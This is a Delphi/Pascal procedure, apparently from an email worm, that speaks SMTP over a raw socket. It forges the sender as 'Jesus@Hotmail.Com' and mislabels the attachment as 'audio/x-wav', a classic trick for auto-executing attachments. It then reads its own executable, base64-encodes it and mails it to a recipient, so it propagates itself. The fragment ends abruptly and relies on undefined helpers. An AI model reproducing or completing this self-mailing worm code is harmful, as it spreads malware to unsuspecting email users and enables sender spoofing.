Procedure SendMail(Recip, FromM, Server: String);
 Var
  Sock             : TSocket;
  WsaDatas         : TWSADATA;
  SockAddrIn       : TSockAddrIn;
  F                : FILE;
  Body, Attach,
  Sub, CTyp        : String;
  Linfo            : Integer;

 Procedure Mys(STR:STRING);
 Begin
  Send(Sock,STR[1],Length(STR),0);
 End;

 Begin

 Body := m_bod;
 Attach := m_att;
 Sub := m_sub;
 CTyp := 'audio/x-wav';
 FromM := 'Jesus@Hotmail.Com';

 WSAStartUp(257,WsaDatas);
 Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
 SockAddrIn.sin_family:=AF_INET;
 SockAddrIn.sin_port:=htons(25);
 SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
 If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
  Mys('HELO .com'+#13#10);
  If Pos('<', Fromm)>0 Then
   Mys('Mail From: '+Copy(FromM, Pos('<', FromM)+1, Pos('>', FromM)-2)+#13#10) Else
   Mys('MAIL FROM: '+FromM+#13#10);
  Mys('RCPT TO: '+recip+#13#10);
  Mys('DATA'+#13#10);

  Mys('From: '+FromM+#13#10);
  Mys('Subject: '+Sub+#13#10);
  Mys('To: '+Recip+#13#10);

  Mys('MIME-Version: 1.0'+#13#10);
  Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
  Mys('--ShutFace'+#13#10);
  Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);

  Mys(Body+#13#10);

  Mys(#13#10+#13#10);
  Mys('--ShutFace'+#13#10);
  Mys('Content-Type: '+CTyp+';'+#13#10);
  Mys('    name="'+Attach+'"'+#13#10);
  Mys('Content-Transfer-Encoding: base64'+#13#10+#13#10);
  AssignFile(F,ParamStr(0));
  FileMode:=0;
  {$I-}
  Reset(F,1);
  IF IOResult=0 THEN BEGIN
   BlockRead(F,FileBuf[1],FileSize(ParamStr(0)));
   Mys(BASE64(FileSize(ParamStr(0))));
   CloseFile(F);
  END;
  {$I+}
  Mys(#13#10+'--ShutFace--'+#13#10+#13#10);
  Mys(#13#10+'.'+#13#10);
  Mys('QUIT'+#13#10);
 End;